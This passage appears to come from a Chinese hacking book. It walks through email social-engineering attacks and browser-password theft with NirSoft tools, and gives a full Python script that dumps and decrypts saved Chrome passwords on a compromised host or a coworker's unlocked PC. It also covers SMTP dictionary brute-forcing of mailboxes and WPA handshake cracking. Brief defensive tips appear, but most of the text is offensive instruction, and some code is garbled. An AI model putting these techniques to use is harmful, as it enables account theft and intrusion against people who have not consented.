根据中国互联网络信息中心的数据统计，我国上网用户已经超过5亿，手机上网用户超过3亿，一旦接入互联网，就会成为黑客攻击的目标。国家互联网应急中心发布的《2011年中国互联网网络安全态势报告》指出：我国遭受境外网络攻击持续增多；中国已经成为世界僵尸网络的受害者之一。与发达国家相比，我国在信息安全的投入和研发方面存在较大差距，尤其是安全意识。

在安全防范软件较为丰富的情况下，对个人主机渗透常用的方法就是电子邮件社会工程学攻击，个人计算机一旦被攻击者成功入侵，轻者个人资料泄露，如“艳照门”事件，重者国家机密泄露，给个人和国家带来损失。现在，电子邮件已经成为个人工作和生活的重要组成部分，因此，防范针对个人发起的电子邮件攻击就非常有必要了。目前，国内有关电子邮件社会工程学攻击的研究较少，而国外已经将电子邮件社会工程学攻击列为重要资讯部门必须培训的课程之一。笔者通过走访黑客、查询国内外文献，对电子邮件社会工程学的手段、攻击方式进行了深入的研究。

4.5.1 社会工程学

我们来了解一下社会工程学的相关概念。

1.社会工程学的定义

社会工程学（Social Engineering）是把对物的研究方法全盘运用到对人本身的研究上，并将其变成技术控制的工具。社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段而取得自身利益的方法。

2.社会工程学攻击

社会工程学攻击就是利用人们的心理特征，骗取用户的信任，获取机密信息、系统设置等不公开资料，为黑客攻击和病毒感染创造有利条件。网络安全技术发展到一定程度后，起决定作用的不再是技术问题，而是人和管理。网络安全往往容易被入侵者从内部攻破，而利用社会工程学进行网络攻击，有点像电影或者小说中的“卧底”，在获取足够有用的信息后成功攻破网络。由于安全产品的技术越来越完善，使用这些技术的人就成为整个环中最为脆弱的部分，加之人类具有贪婪、自私、好奇、信任等心理弱点，因此，通过恰当的方法和方式，入侵者完全可以从相关人员那里获取入侵所需的信息。一旦掌握了社会工程学理论，就可以获取正常的访问权限；再结合一些网络攻击手段，就可以很容易地攻破一个网络——不管系统的软件和硬件的配置有多高。

近年来，社会工程学攻击已呈迅速上升甚至滥用的趋势，在病毒的扩展和传播过程中发挥了巨大的作用。例如，QQ尾巴病毒、爱虫蠕虫病毒、MSN病毒及钓鱼攻击等。运用社会工程学进行网络攻击，可以使网络攻击者不需要付出很大的代价就达到他们所要达到的目的，所以被越来越多的攻击者所青睐。

4.5.2 常见的电子邮件社会工程学攻击方法

通过电子邮件进行攻击的常见手法主要有5种，分别是伪造邮件地址或者信任关系攻击、人性心理弱点攻击、恶意攻击、0day攻击和跨站攻击。

1.伪造邮件地址或者信任关系攻击

伪造攻击主要通过事先收集被攻击对象的各种信息，特别是有电子邮件往来的各种信息，然后假冒“信任”的联系人给被攻击对象发送邮件，被攻击者收到邮件后，看到是“信任”的关系，因此不加怀疑地直接打开邮件附件，或者回复攻击者想获取的信息。伪造攻击需要构造发件人地址。目前，网上有一些邮件发送工具，通过简单的设置即可发送电子邮件。收件人收到的伪造邮件与真实的邮件并无太多区别，普通用户很难防范。

2.人性心理弱点攻击

心理弱点攻击是电子邮件社会工程学攻击最主要的手法之一，该攻击方法利用电子邮件夹带恶意程序或恶意链接进行攻击，运用各种人性弱点吸引使用者开启问题邮件，问题邮件通常与被攻击者的兴趣有关，利用人的贪心等使被攻击对象无法对问题邮件免疫。这种攻击方法需要对人性的弱点有比较深入的了解和分析。

3.恶意攻击

攻击者通过发送捆绑木马的附件或者链接地址（链接地址往往带有挂马功能），诱使用户打开附件或者访问恶意构建的网页，从而感染病毒。

4.0day攻击

只要是软件，就可能存在有漏洞，未能及时修补就可能遭到利用并被入侵。在软件漏洞点修补前出现的针对该漏洞的攻击行为称为零时差攻击（0day攻击）。在软件漏洞更新补丁程序发布后的n天，利用用户还未修补的软件漏洞进行攻击，称为nday攻击。

0day攻击是最难防范的攻击。攻击者通过0day漏洞交易渠道或者自己挖掘0day漏洞，掌握了一些文件格式的未公开漏洞，如Office系列、PDF系列、Flash系列及IE等，通过0day漏洞利用工具，将木马与0day漏洞捆绑在一起，生成一个正常格式的文件，被攻击者打开该文件后即感染木马或者执行指定的可执行文件。0day攻击是最具有杀伤力的。nday攻击通过对攻击程序进行免杀处理来对用户进行攻击。

5.电子邮件跨站攻击

跨站攻击，即“Cross Site Script Execution”（通常简写为“XSS”），是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上的、能够对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种操作或者对访问者进行病毒侵害的一种攻击方式。跨站攻击是电子邮件攻击中威力最大的一种。攻击者通过对被攻击者电子邮件服务器所使用的系统进行研究，发现电子邮件服务器系统存在的各种跨站漏洞，然后将跨站漏洞利用代码嵌入富文本的邮件内容中，通过网页或者特定电子邮件发送软件，将构造好的邮件发送给被攻击者。被攻击对象查看电子邮件时执行跨站代码，会要求重新输入用户名和密码。攻击者通过事先构造好的电子邮件登录页面截获用户名和密码，然后将用户名和密码重新定向到真实的电子邮件地址，从而获取电子邮箱口令及Cookie等信息。获取这些信息后，攻击者就可以正常登录被攻击者的电子邮箱了。

4.5.3 电子邮件社会工程学攻击的步骤

电子邮件社会工程学攻击的步骤在工作原理上与普通的网络渗透流程基本类似，归纳如下。

1.信息收集

在实施攻击前需要充分了解被攻击对象的各种信息，如职业、性别、年龄、爱好等，尤其需要掌握其个人邮件地址信息。

2.攻击前的测试准备

攻击前需要对木马程序进行免杀测试，对漏洞利用工具的各种攻击场景进行实际测试，查看漏洞被攻击后的实际效果。如果存在漏洞，但电子邮件被打开后却没有按照预期执行攻击，说明程序利用上存在问题。同时，还需要申请发送邮件时使用的电子邮件账号，通过模拟攻击对象的电子邮箱进行邮件发送测试，防止邮件不能通过邮件服务器安全策略被当成垃圾邮件处理的情况发生。

3.实施攻击

通过专门的邮件发送工具或者电子邮箱发送构造好的邮件。攻击的实施过程比较简单，准备好邮件内容和附件即可。

4.进行控制

收件人打开电子邮件，感染木马病毒。计算机被控制后，可以对被控制计算机进行读取磁盘文件、下载数据、安装键盘记录等操作，以长期控制该计算机。如果该计算机与内部网络相连，还可以将该计算机作为跳板，对内部网络实施攻击。

4.5.4 电子邮件社会工程学攻击的防范方法

下面我们从技术和安全意识这两个方面探讨电子邮件社会工程学攻击的防范方法。

1.技术方面的防范

（1）安装杀毒软件和防火墙等安全防范软件

操作系统安装完成后，一定要安装杀毒软件和防火墙软件。要养成定期杀毒的好习惯，对下载的邮件和软件均要进行杀毒，还要定期对系统进行杀毒。

（2）应用软件和安全防范软件更新

目前，Windows操作系统、应用软件和安全防范软件都会在一定程度上存在漏洞，如果网上已经公布了漏洞而用户未及时修补，就比较容易受到攻击。因此，需要设置Windows操作系统自动更新系统补丁，更新Adobe Reader、Flash、IE等应用软件到最新版本或者下载补丁程序，每天更新杀毒软件病毒库。

（3）使用安全的邮件查看技术

在虚拟机中查看邮件，即使用目前的虚拟机技术，通过在物理机上安装VMware Workstation重新安装一个操作系统，所有邮件的查看操作均在虚拟机中进行，查看前要做快照，邮件处理完毕再使用快照恢复，这样，即使系统感染木马，也不会影响实体机。使用不同的邮件查看软件时，应尽量熟悉所使用软件的基本设置，关闭自动下载图片和邮件预览功能，以纯文字方式打开邮件。

2.安全意识方面的防范

（1）警惕要求输入用户名和密码的页面

在电子邮件社会工程学攻击中，邮件跨站攻击是最常见和最有效的一种攻击方法。对这种攻击，杀毒软件基本上无能为力，只能靠个人安全意识来防范。如果某个邮件被打开后，要求我们重新输入用户名和密码，就要小心了。需要对发送邮件的用户的真实性进行验证，将收到的邮件交给本单位安全技术人员进行分析和处理，并立即修改邮箱密码。

（2）查明信件来源

对于邮件收取采取“两不看”，即“不认识发件人不看”和“来源不明的邮件不看”。对一些身份不明的邮件，要求通过手机、短信和电话进行物理确认，未经确认的一律放入黑名单或者删除。总之一句话——对于来历不明的邮件坚决不查看。

（3）抵制“诱惑”

现代社会，信息极度丰富，多看原始网页的内容，针对“朋友”发送的电子邮件，不心动、不冲动，对自己感兴趣、内容有吸引力的邮件，要验明身份，特别是带有附件的邮件，要抵制“诱惑”，慎重打开。

4.5.5 小结

表面上看，电子邮件社会工程学攻击只是简单的欺骗，但是在网络安全领域，它的攻击效果往往是最显著的，究其原因是它包含了极其复杂的心理学因素，所以比其他入侵方式更难防范。只要我们时刻提醒自己“攻击随时有可能在身边发生”，全面了解社会工程学的攻击方法和手段，具备一定的安全防范知识和防范措施，在面对社会工程学攻击的时候就能识别其真面目，处于主动地位，将遭受攻击的风险降至最低。

4.6 使用IE PassView获取网页及邮箱密码

对于个人计算机来说，个人账号和密码是入侵者最为关心的事情，特别是邮件账号和网页账号——通过这些账号可以查看和获取用户的信息。在一般情况下，这些账号通常是通过键盘记录来获取的，但是键盘记录软件有时也会“怠工”，不会完整记录账号信息。如今越来越多的网站都采用了交互方式，且很多网站都有一定的权限保护机制，需要输入用户名和密码进行验证，验证成功后才能使用网站提供的资料和服务。在输入用户名和密码时，IE浏览器的高速缓冲存储器（Cache）会记录这些数据，而通过一些工具软件可以轻松地读取这些数据，也就意味着可以获取用户输入的账号和密码。下面对IE PassView进行介绍，然后给出一个使用IE PassView通过网页获取用户名和密码的案例。

4.6.1 IE PassView简介

IE PassView是Nir Sofer网站开发的一款功能强大、使用简单的网页密码获取软件，有关该软件的介绍请访问http://www.nirsoft.net/utils/internet_explorer_password.html。IE PassView的最新版本为1.32，下载地址为http://www.nirsoft.net/toolsdownload/iepv.zip。该软件属于获取密码类软件，因此可能会被杀毒软件查杀。

IE PassView是一个小巧的密码管理工具，它能获取互联网浏览器存储的密码，并允许删除其中保存的密码，它支持的浏览器版本从IE 4到IE 11。

4.6.2 获取保存的网页及邮箱密码

IE PassView是一个独立的可执行软件。直接运行该软件，会自动获取系统中所有通过浏览器访问的网页密码、访问地址、用户名、类型等信息，如图4-22所示。

图4-22 自动获取用户名称以及网页密码信息

IE PassView只能在GUI模式下执行，不能在反弹的DOSShell中执行。

4.6.3 对获取的信息进行处理

处理获取的信息有两种方式：一种是手工记录获取的用户网页密码及账号等信息；另外一种是直接通过IE PassView将获取的网页密码保存为一个文件。

在IE PassView中选中所有记录，依次选择“File”→“Save Selected Item”选项，将所有信息保存为一个TXT文件。保存后，我们可以直观、方便地查看密码、用户名、访问地址、类型等信息，如图4-23所示。

图4-23 处理获取的账号及密码等信息

4.6.4 小结

在用IE PassView获取的网页用户名和密码中，有一些是属于网站管理员的，因此可以通过这些信息继续渗透和控制网站。

可以在计算机上安装Radmin等远程控制软件，然后通过完全控制模式运行IE PassView程序，以快速获取计算机中的网页密码和用户名。

本节的案例很简单，通过在肉机上执行，就可以获取系统中存在的网页用户名和密码。此外，通过获取的信息还可以进行渗透和控制。

4.7 Chrome浏览器存储密码获取技术及防范

用户在上网过程中使用最多的工具就是浏览器，目前主流的浏览器有IE、Chrome、Firefox，以及国内以360为代表的360浏览器（QQ浏览器、猎豹浏览器、百度浏览器）。在使用浏览器访问网站时，有些浏览器会自动提示用户是否保存登录的用户名和密码，有些浏览器则需要设置是否自动保存登录密码。这些登录密码对普通用户而言就是一把钥匙，而对于黑客来说就是一个突破口。网上求购苹果公司的一个内部员工登录账号和口令，报价高达数十万美元。由此可以看出，重要公司的内网（CMS）登录账号也非常重要。

很多用户在访问网站时，因为怕麻烦，大都会选择让浏览器“记住”密码。如果这些密码保护不当，极有可能带来安全风险。本节将介绍如何快速获取Windows系统中保存的以Chrome为代表的浏览器密码，它适用的主要场景如下。

获取他人的登录密码。例如，在办公室里，如果一个员工离开计算机时没有锁定屏幕，其他人可以使用该员工的计算机浏览器下载密码获取软件并运行，然后用手机拍下获取的密码，最后删除软件，清除痕迹，该员工的浏览器密码完全被他人窃取。

对服务器或者个人主机实施渗透时，这些主机有可能保存登录重要资源的密码。控制主机后，通过后台或者前台可以直接获取浏览器的密码。

4.7.1 使用WebBrowserPassView获取浏览器密码

下面介绍WebBrowserPassView的有关内容。

1.WebBrowserPassView简介

一看名字就可以知道，WebBrowserPassView是一款浏览器密码获取软件。WebBrowserPassView的使用方法非常简单，启动后只要几秒，就能获取浏览器所记录的网址、账号及密码了。WebBrowserPassView目前支持IE1～IE10、Firefox所有版本、Safari、Chrome及Opera等主流浏览器，其官方网站地址为http://www.nirsoft.net/utils/web_browser_ password.html，下载地址为http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip。

2.使用WebBrowserPassView获取密码

下载WebBrowserPassView后直接解压，运行webbrowserpassview.exe，即可获取密码。如图4-24 所示，会显示网址、浏览器类型、用户名、密码、创建时间等信息。

图4-24 获取浏览器保存的密码

双击某条记录，会显示该记录的详细信息，如图4-25所示。可以对这些信息进行复制，也可以选中所有的记录，然后保存到本地。

图4-25 获取记录的详细信息

4.7.2 通过编写程序获取Chrome浏览器保存的密码

下面我们讨论通过编写程序获取Chrome浏览器中保存的密码的过程。

1.Chrome浏览器的密码存储机制

Chrome浏览器加密后的密钥存储于“%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”下的一个SQLite数据库中，这里的“APPDATA”是由系统或者用户环境变量决定的。那么，它是如何加密的呢？通过开源的Chromium，我们来一探究竟。

我们作为用户登录一个网站时，会在表单中提交“Username”及“Password”的相应值。Chrome会先判断此次登录是否是一次成功的登录，部分判断代码如下。

 Provisional_save_manager_->SubmitPassed();
 if (provisional_save_manager_->HasGeneratedPassword())
  UMA_HISTOGRAM_COUNTS("PasswordGeneration.Submitted", 1);
 If (provisional_save_manager_->IsNewLogin()
&amp;&amp; !provisional_save_manager_ ->HasGeneratedPassword()）{
  Delegate_->AddSavePasswordInfoBarIfPermitted(
  Provisional_save_manager_.release());
} else ｛
provisional_save_manager_->Save();
Provisional_save_manager_.reset();
｝

当我们登录成功且使用的是一套新的证书时（也就是说，我们是第1次登录该网站），Chrome就会询问我们是否需要记住密码。

登录成功后，密码是如何被Chrome存储的呢？答案在EncryptString函数中。调用EncryptString函数，代码如下。

  Bool Encrypt::EncryptString(const std::string&amp; plaintext,std::string* ciphertext)
{
 DATA_BLOB input;
 Input.pbData = static_cast<DWORD>(plaintext.length());

 DATA_BLOB output;
 BOOL result = CryptProtectData(&amp;input, L"",NULL, NULL, NULL, 0,&amp;output);
 If (!result)
  Return false;
//复制操作
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbD
ata);

LocalFree(output.pbData);
Return true;
}

以上代码的最后利用了Windows API函数CryptProtectData（请记住这个函数，因为后面会提到它）来加密。当我们拥有证书时，密码就会被恢复给我们使用。在我们得到服务器权限后，证书的问题已经不用考虑了，所以接下来要解决如何获得这些密码的问题。

2.编写脚本获取Chrome浏览器保存的密码

因为考虑到在大多数情况下无法远程登录服务器去执行GUI程序，所以，做一个Python脚本是最佳选择，其唯一的缺点是如果Windows不支持Python环境，将Python程序打包成EXE文件的话，文件体积会比较大。

下面考虑代码部分。因为用户不同，文件夹就不同，我们需要知道LOGIN DATA文件的具体路径，所以，我们需要使用Python中的os.environ从环境变量中读取LOCALAPPDATA的路径，剩下的路径是谷歌默认生成的。

获取LOGINDATA文件的代码示例如下。

google_path = r' Google\Chrome\User Data\Default\Login Data'
file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)

#Login Data文件可以利用Python中的sqlite3库来操作
conn = sqlite3.connect(file_path)
for row in conn.execute('select username_value, password_value, signon_realm
from logins'):
#利用Win32crpt.CryptUnprotectData对加密的密码进行解密操作
 cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from
logins')

#接收全部返回结果
for data in cursor.fetchall():
passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
#利用 win32crypt.CryptUnprotectData 解密后，通过输出 passwd 这个元组中的内容，可以
逐一得到Chrome浏览器存储的密码

这里用到了CryptUnprotectData函数，与之对应的是之前提到的CryptProtectData。理论上说，CryptProtectData函数加密的文本内容都可以通过CryptUnprotectData函数来解密。对其他服务的解密方式，读者可以自行尝试。

3.完整的脚本

脚本的完整代码如下。

#coding:utf8
import os, sys
import sqlite3
import win32crypt
google_path = r'Google\Chrome\User Data\Default\Login Data'
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
conn = sqlite3.connect(db_file_path)
cursor = conn.cursor()
cursor.execute('select username_value, password_value, signon_realm from
logins')
#接收全部返回结果
for data in cursor.fetchall():
 passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)

 if passwd:
  print '-------------------------'
  print u'[+]用户名: ' + data[0]
  print u'[+]密码: ' + passwd[1]
  print u'[+]网站URL: ' + data[2]

运行以上脚本，效果如图4-26所示。

当然，在取得服务器WebShell的情况下，如果有执行权限但无法提权，可以利用这种方法挖掘密码，进而利用社会工程学思路对服务器的RDP服务密码进行暴力破解。

图4-26 获取Chrome浏览器保存的密码

如果WebShell不能回显，可以使用类似getpass的方式将其导出到文本文件中，代码如下。

Python chrome.py > 1.txt

提示

导出过程中，将输出文件的名称设置为中文可能会报错，建议换成英文文件名导出。

注意

当用户打开Chrome时，Login Data文件是被锁定的，如果这时想要对其进行读取操作，可以将Login Data文件复制到临时目录。

4.7.3 浏览器密码获取的防范方法

对于浏览器密码获取的防范，笔者认为可以采取以下一些措施。

1.打造专用访问系统

现在，计算机的性能都很不错，可以在本机搭建虚拟机平台，单独用一台虚拟机来访问重要系统和重要网站。也要为虚拟机设置系统访问口令，这样实体机即使未锁屏，其他人也不能快速获取其口令。专机专用可以防止感染病毒及账号被盗。

2.使用绿色免安装浏览器

对免安装浏览器，WebBrowserPassView是无法获取其存储的密码的。很多密码获取软件都是根据浏览器安装的默认路径来读取配置文件和数据库，进而获取密码。因此，使用免安装浏览器可以避免密码被获取。其实，最好的办法就是不让浏览器记录密码。

密码的攻防从来不是绝对的，我们只有小心谨慎，从技术的角度尽量降低密码泄露的风险，从管理的角度防范物理接触和远程访问获取密码。不安全的系统就意味着密码被获取和截取，因此，要尽量使自己的系统安全可靠。

4.8 使用EmailCrack破解邮箱口令

在无法直接进行攻击时，邮件木马攻击及邮件账号破解攻击无疑是黑客的上佳选择。邮件木马攻击成功有两个必要条件：一是木马不被查杀，二是用户打开邮件并执行了隐藏在邮件中的木马程序。

随着用户网络安全意识的提高，邮件木马攻击的成功率已经大大降低。而通过成功破解邮件账号，黑客可以很方便地了解用户的行为、获取邮件中的资料、获取邮件主人的个人信息等。邮件账号破解一般有3种情况：第一种是用户自己忘记了邮箱密码，通过邮件服务器的“忘记密码”模块无法重新设置或者获取原密码；第二种是出于商业目的或者好奇，想知道对方邮件中内容，因此对邮件账号进行破解；第三种是专业性攻击，攻击邮箱以获取资料、掌握个人动态及获取个人信息等。本案例仅仅演示如何破解邮件账号。

4.8.1 通过邮件账号获取SMTP服务器地址

邮件账号“@”后的地址就是服务器地址的后缀。例如，邮件账号“vip2008@vip. sina.com”的邮件服务器地址是“vip.sina.com”，有些时候会在这些地址前加上“mail.”或者“webmail.”。如果能在IE浏览器中打开这些地址，说明该服务器是可用的。

打开邮件服务器的页面以后，通过其网页中的帮助等信息可以获取邮件运营商公开提供的SMTP和POP3服务器地址。如图4-27所示，新浪VIP邮箱的SMTP和POP3服务器地址分别是“smtp.vip.sina.com”和“pop3.vip.sina.com”。

对外提供免费/收费邮件服务的邮件运营商，一般都会在网站上提供邮件使用帮助信息，通过这些信息可以快速、准确地获取其SMTP和POP3邮件服务器的地址，这些信息往往与Foxmail和Outlook的设置有关。因此，查看Foxmail和Outlook的设置信息，即可获取邮箱的SMTP和POP3服务器地址信息。

图4-27 获取新浪VIP邮箱账号的SMTP和POP3服务器地址

4.8.2 运行EmailCrack

图4-28 运行EmailCrack

运行EmailCrack，如图4-28所示，默认提供了126.com邮件服务器的地址。在进行破解时，首先要选择或者设置邮件服务器的地址，然后要设置邮箱账号名。

说明

（1）邮箱账号名就是被破解的邮件账号。有的账号需要输入完整的电子邮件地址，有的只需要输入电子邮件地址中“@”前面的部分即可。

（2）EmailCrack是通过SMTP服务器来对邮件账号进行破解的，因此在破解时需要知道SMTP服务器的地址。如果使用POP3邮件破解软件，则需要知道POP3服务器的地址。

4.8.3 设置字典

图4-29 选择密码字典

单击“字典设置”按钮，选择一个密码字典。在EmailCrack中，密码字典文件是以“.dic”为后缀的文件。DIC文件可以通过专业的字典生成工具生成。

如图4-29所示，选择密码字典1.dic，单击“打开”按钮。

4.8.4 破解邮件账号

如图4-30所示，服务器地址为“smtp.126.com”，邮件账号为“bf**”，单击“开始扫描”按钮开始邮件账号的破解，在“扫描信息”区域会显示尝试的密码信息。

账号破解成功后会给出正确的密码，如图4-31所示。

图4-30 破解邮件账号

图4-31 破解得到的密码

说明

有些邮件服务器采取了安全措施，通过EmailCrack获取邮件账号的密码后，系统会限制用户在10分钟或者1小时内登录邮件服务器。

4.8.5 小结

邮件账号的破解过程非常简单，只需要知道邮件账号的SMTP服务器名称并选择一个字典文件即可。

邮件账号破解成功与否，主要取决于密码字典的强度高低和时间长短。在理论上，如果邮件服务器未做相应的防范措施，在足够长的时间内用户的账号是可以被破解的。因此，要防止邮件账号被破解，最好的方法就是设置一个足够强健的密码，让破解者花费1年甚至更长的时间都无法破解——笔者认为，很少有人会有这个耐心来破解这么强健的密码。

第5章

无线网络密码的获取与破解

无线网络由于方便易用，不需要网线，因此大受欢迎。目前，基本上每一个上网家庭就是一个无线热点，办公场所、社区、机场、咖啡厅等公共区域也大量使用无线网络。而无线网络的使用最关键的一点是必须有无线密码。

本章着重介绍如何快速破解无线网络密码，以及在拥有权限的情况下如何获取被控制计算机的无线密码。

本章主要内容

使用CDlinux轻松破解无线网络密码

使用WirelessKeyView轻松获取无线网络密码

5.1 使用CDlinux轻松破解无线网络密码

CDlinux无线破解系统基于CDlinux 0.9x系列打包，使用minileaf的spring包无线模块，加入了minidwep-gtk、feedingbottle、inflator等无线工具，下载地址为http:// cdlinux.net/forum-2-1.html，可以使用VMware、USB设备和刻录光盘进行无线密码的破解。minidwep-gtk通过抓包进行破解，破解成功率的高低取决于信号强度、密码字典等因素。当正在破解的无线路由器上有数据传输，即有用户进行连接时，配合强悍的密码字典，一般都能破解成功。

5.1.1 准备工作

使用CDlinux进行破解之前，需要完成如下准备工作。

01 制作CDlinux启动盘

下载CDlinux无线破解系统镜像文件，然后使用光盘刻录软件以镜像方式刻录光盘。

02 准备无线网卡

某些版本的CDlinux无线破解系统可能无法识别无线网卡。如果不能识别无线网卡，后续破解工作将无法开展。

03 制作密码字典

可以在互联网上下载密码字典，也可以自己生成密码字典。

5.1.2 开始破解

下面开始使用CDlinux进行破解。

01 使用CDlinux无线破解系统盘启动系统

将CDlinux无线破解系统盘插入光驱，使用光驱启动模式启动系统。启动过程可能较慢，需要耐心等待。启动完成后，按照默认设置进入即可。

02 扫描

运行minidwep-gtk，如图5-1所示，会显示无线网卡列表，在“加密方式”下拉列表中可以选择“WEP”和“WPA/WPA2”两种加密方式进行扫描，在“方式选择”设置区选择相应的选项，选择完毕后，单击“扫描”按钮，开始扫描无线设备。

图5-1 扫描设置

03 选择需要破解的无线路由器

扫描结束后，会显示获取的无线路由器，如图5-2所示，随机选择一个信号较强的无线路由设备，然后单击“启动”按钮开始抓包。在选择无线路由器时，可以通过手机查看无线网络，以选择网络信号较强的设备进行破解。

图5-2 选择需要破解的无线路由器

04 选择密码字典进行破解

在获取WPA握手包后才能进行破解，如图5-3所示，已经成功获取一个数据包。单击选中“yes”单选按钮，然后选择一个密码字典进行破解，如图5-4所示。

图5-3 获取WPA握手包

图5-4 使用字典进行破解

5.1.3 破解保存的握手包文件

破解握手包文件，步骤如下。

01 选择需要破解的握手包

在minidwep-gtk主界面单击“跑字典”按钮，软件会提示我们选择握手包文件。如图5-5所示，选择保存在本地的握手包文件00-36-76-08-96-6E_handshake.cap。

02 设置密码字典

选择握手包后，会提示我们选择密码字典。如图5-6所示，选择本地生成的密码字典文件pwd4.password。

图5-5 选择离线CAP包

图5-6 选择字典

03 选择MAC地址

如图5-7所示，在AP MAC中选择一个需要破解的MAC地址（这里主要是为了区分不同的AP。因为抓包可能有多个文件，所以需要选择MAC地址）。密码破解后会进行提示，如图5-8所示，显示“Bssid”和“WPA KEY”。

图5-7 选择破解的MAC地址

图5-8 密码破解成功

5.2 使用WirelessKeyView轻松获取无线网络密码

无线密码的获取主要有两种方式：一种是截获无线数据包，通过分析数据包中的内容获取无线密码，典型的就是使用BT5、CDlinux、beni及Kali等进行破解；另一种是本节要介绍的无线密码截取软件，直接运行即可获取无线密码。

本节介绍的方法主要用于两个方面，分别是：使用无线网络的主人忘记密码后需要找回密码；入侵者在获取肉机（被控制计算机）后发现被控制计算机存在于无线网络中且使用了无线网络，需要获取该无线网络的密码。相对而言，第一种方法较为复杂和专业，只要在存在无线网络的地方即有可能成功破解密码，第二种方法简单实用，在攻防中均有用武之地。

5.2.1 WirelessKeyView简介

WirelessKeyView的最新版本是1.720。WirelessKeyView是Nir Sofer众多工具软件中的一员，分32位和64位两个版本。Nir Sofer的网站为http://www.nirsoft.net，该网站还提供了很多与安全相关的免费软件。WirelessKeyView的下载地址为http://www. nirsoft.net/utils/wireless_key.html，文件大小只有66KB。

5.2.2 使用WirelessKeyView获取无线网络密码

使用WirelessKeyView获取无线网络密码的步骤如下。

01 获取无线网络密码

将下载的wirelesskeyview.zip文件解压后直接运行，如图5-9所示，直接破解无线密码，如果当前环境中有多台无线路由器，则以列表方式显示全部破解结果。单击“View”菜单，可以选择以网格方式（Show Grid Lines）显示破解结果。在WirelessKeyView中，默认显示无线路由的名称、加密方式、十六进制无线密码、十进制密码、无线网卡名称及适配器的GUID。

说明

在能够检测到该无线网络的情况下，使用带有无线网卡的计算机即可接入该无线网络。此后在接入网络中进行渗透，相对容易一些。这也是网络渗透的方法之一。

02 定制显示

在“View”菜单中选择“Choose Columns”选项，在弹出的窗口中定制显示方式。例如，我们希望仅显示无线网络名称和无线网络密码，如图5-10所示，只要选中“Network Name(SSID)”和“Key(Ascii)”这两个复选框即可。

图5-9 获取无线网络的密码

图5-10 定制密码的显示选项

03 直接查看无线密码属性

在WirelessKeyView中双击获取的密码选项，即可出现如图5-11所示的密码详细属性显示窗口。可以在该窗口中直接复制属性值。

图5-11 显示无线密码的详细属性

04 保存无线网络密码

在WirelessKeyView中，最为实用的功能就是保存获取的无线网络密码。选中需要保存的无线网络密码，然后单击工具栏上的相应图标，即可将无线网络密码的6个属性值全部保存在文件中，如图5-12所示。

图5-12 保存无线密码

5.2.3 小结

下面简单总结一下无线密码的获取技巧和注意事项。

1.获知系统中是否存在无线网卡命令

在DOS提示符下执行“systeminfo”命令，即可获取系统中的所有已启用网卡的信息，被禁用网卡的信息是无法获取的。如图5-13所示，可以看到系统中有4个网卡，分别是自适应100M网卡Broadcom 440x 10/100 Integrated Controller、无线网卡Intel(R) PRO/Wireless 2200BG Network Connection，以及虚拟机网卡VMware Virtual Ethernet Adapter for VMnet1和 VMware Virtual Ethernet Adapter for VMnet8。

图5-13 获取网卡信息

2.无线网络密码获取思路

一般来说，使用无线网络的计算机大都是PC，安装的操作系统以各版本的Windows为主，没有黑客常用的3389等，因此，在获取密码时往往只能趁计算机主人不在计算机前面，且未锁定屏幕的情况下，使用远程控制软件实施完全控制，然后执行该软件获取无线网络密码。

3.遗憾

笔者一直想找到无线网络密码存放的位置，可到目前为止还没有什么突破。如果WirelessKeyView能够在DOS下运行，且能够保存密码就好了，这样就可以将其与一个正常软件绑定，只要一执行正常软件，就会自动在系统中生成一个包含无线网络密码信息的文本文件。目前，WirelessKeyView只能在图形界面中执行，不能不说是一大遗憾。

4.总结与体会

WirelessKeyView在网络攻防过程中如果利用得好，将会发挥意想不到的作用。除此之外，对于那些遗失了无线网络密码的用户来说，使用WirelessKeyView无疑是上上之选。

第6章

App密码的获取与破解

手机App近几年得到了快速发展，移动App是未来各大公司争抢的重点市场。APK是指手机的应用程序包，与Windows的EXE文件类似。一些犯罪分子利用APK漏洞盗刷信用卡，实施短信等诈骗活动，更有甚者通过APK渗透公司内部网络，获取机密信息。因此，APK的安全不容忽视。

本章重点对APK的编译和反编译进行介绍，对手机图形锁的加/解密方式进行探讨，还针对某些典型的手机木马病毒进行了分析。

本章主要内容

手机APK程序编译攻略

Android手机屏幕锁解锁技术

钓鱼网站APK数据解密与分析

对一款手机木马的分析

6.1 手机APK程序编译攻略

我们在媒体和网站经常会看到App和APK。笔者也曾经有些混淆，以为App就是APK，其实不然。“App”是“Application”的缩写，意为应用程序。目前所说的App就是指安装在手机上的软件。当前的主流手机操作系统有Symbian、Linux、Research in Motion、Windows Mobile、iPhone、Android等。

“APK”是“Android Package”的缩写，即Android安装包（apk）。APK是类似Symbian Sis或Sisx的文件格式，将APK文件直接传到Android模拟器或Android手机中运行即可安装。APK文件和SIS文件一样，把Android SDK编译的工程打包成一个安装程序文件，格式为APK。APK文件其实是ZIP格式，但后缀名被修改为“.apk”。通过UnZip解压后，可以看到DEX文件。“DEX”是“DalvikVM Executes”的缩写，即Android Dalvik执行程序，它并非Java ME的字节码，而是Dalvik字节码。Android在运行一个程序时首先需要UnZip，之后的操作类似于Symbian，和Windows Mobile中的PE文件有一些区别。

6.1.1 准备工作

测试环境：Windows Server 2003、Windows 7

软件环境：ApkTool、dex2jar、JD-GUI

1.ApkTool

ApkTool是Google提供的apk编译工具，能够反编译和回编译apk，同时安装反编译系统apk所需要的framework-res框架，清理上次反编译的文件夹等，需要Java的支持。ApkTool可以获取资源文件，提取图片文件和布局文件进行使用查看。ApkTool的最新版本为2.03，下载地址为http://ibotpeaches.github.io/APKTool/install/、https:// bitbucket.org/iBotPeaches/ APKTool/downloads，其常用命令如下。

（1）反编译命令

该命令用于反编译apk文件，一般用法如下。

APKTool d <file.apk> <dir>

“<file.apk>”表示要反编译的apk文件的路径，这里最好使用绝对路径，如“c:\MusicPlayer.apk”。“<dir>”表示反编译后文件的存储位置，如“C:\MusicPlayer”。

